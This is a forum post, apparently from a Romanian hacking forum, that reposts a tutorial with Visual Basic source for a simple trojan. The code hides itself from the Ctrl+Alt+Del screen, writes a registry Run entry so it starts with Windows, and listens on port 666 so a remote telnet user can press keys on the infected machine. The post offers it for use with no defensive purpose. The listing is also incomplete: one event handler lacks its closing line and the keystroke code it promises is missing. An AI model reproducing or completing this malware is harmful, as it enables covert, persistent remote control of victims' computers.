V.I.P
Data inscrierii: 29/Aug/2007
Mesaje: 50
Localitate: -=Aici=-
|
|
Basic Trojan In Visual Basic
By: cyberbot
about:
In this litle tutorial i will learn you to make a small trojan that starts everytime
windows is started. On more thing, you cant se it in the Ctrl + Alt + Del screen.
In the code all the green text is comments, you don´t have to include them in the
code. When someone has opened the trojan you can connect to it with telnet, and
when you are connected you can press a key and then the infected computer also
presses that key. Hope you have fun with your new knowlege...
Start Programming:
Start with adding a new component into your project. Add the component that is named
"Microsoft Winsock Controls". Now i wont tell you anything else you have to putt into
the form.
| Cod: |
Private Sub Form_Load()
App.TaskVisible = False 'This hides your aplication from the Ctrl + Alt + Del screen.
'This adds your program to the windows registry so that it starts everytime windows starts
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
winsock1.localport = "666" ' this sets your trojan´s port, you can change it if you want to
Winsock1.Listen 'This sets your trojan to listen for connections
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Got to do this to make sure the Winsock control isn't already being used.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Accept the client who connects
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'If an error accour and the conection is lost, then this tells the winsock to listen again
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
'same as Winsock1_Error above
Winsock1.Close
Winsock1.Listen
End Sub |
|
_________________
Lamer
Me |
|
